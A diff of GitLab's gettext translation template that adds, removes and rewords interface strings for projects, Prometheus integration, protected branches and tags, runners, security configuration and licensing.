msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25389,6 +25095,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25401,9 +25110,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25452,15 +25158,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25509,9 +25209,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26127,9 +25824,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26145,9 +25839,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26232,21 +25923,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26262,18 +25950,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26289,9 +25968,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26304,6 +25980,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26319,7 +25998,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26328,6 +26007,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26337,9 +26019,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26358,9 +26037,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26484,13 +26160,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
+msgstr ""
+
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allowed to force push"
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26511,12 +26190,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26526,6 +26214,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26535,12 +26226,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26586,18 +26280,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Limit access to creating and updating tags."
+msgstr ""
+
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27001,6 +26707,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27028,6 +26737,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27206,6 +26918,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27221,15 +26936,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27245,9 +26954,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27395,15 +27101,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27413,15 +27122,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -27815,6 +27515,9 @@ msgstr[0] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -27965,12 +27668,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -27986,9 +27683,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28081,6 +27775,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28090,9 +27787,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28159,12 +27853,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28174,6 +27877,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28183,9 +27889,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28198,9 +27913,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28243,12 +27964,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28279,6 +28006,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28357,6 +28090,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28408,10 +28147,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28444,6 +28180,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28495,6 +28234,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28579,9 +28321,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -28701,12 +28440,6 @@ msgstr[0] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28773,6 +28506,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28794,6 +28530,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28803,6 +28542,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -28827,9 +28572,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -28839,12 +28593,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -28857,7 +28620,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -28866,6 +28632,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -28878,6 +28650,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -28890,7 +28683,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -28953,6 +28746,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29058,6 +28854,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29160,9 +28959,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29193,9 +28989,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29298,9 +29100,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29394,7 +29193,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29433,10 +29232,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29478,9 +29277,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29523,6 +29319,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29613,6 +29412,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29793,9 +29595,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29820,6 +29619,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -29844,9 +29646,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -29874,9 +29673,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -29910,12 +29706,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -29960,6 +29750,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30293,9 +30086,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30398,6 +30188,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30464,12 +30257,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30503,9 +30290,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30548,9 +30332,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30602,6 +30383,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30620,6 +30404,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30722,15 +30509,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -30947,12 +30725,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -30971,7 +30755,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31001,6 +30785,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31088,6 +30875,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31097,9 +30887,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31454,6 +31241,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31472,7 +31262,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31544,9 +31340,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31559,7 +31352,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31607,7 +31400,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31622,7 +31415,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31631,10 +31424,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -31826,6 +31619,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32176,7 +31972,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32185,6 +31981,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32194,6 +31993,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32227,9 +32029,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32263,7 +32062,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32293,6 +32092,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32366,6 +32168,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32387,15 +32192,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32480,18 +32285,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
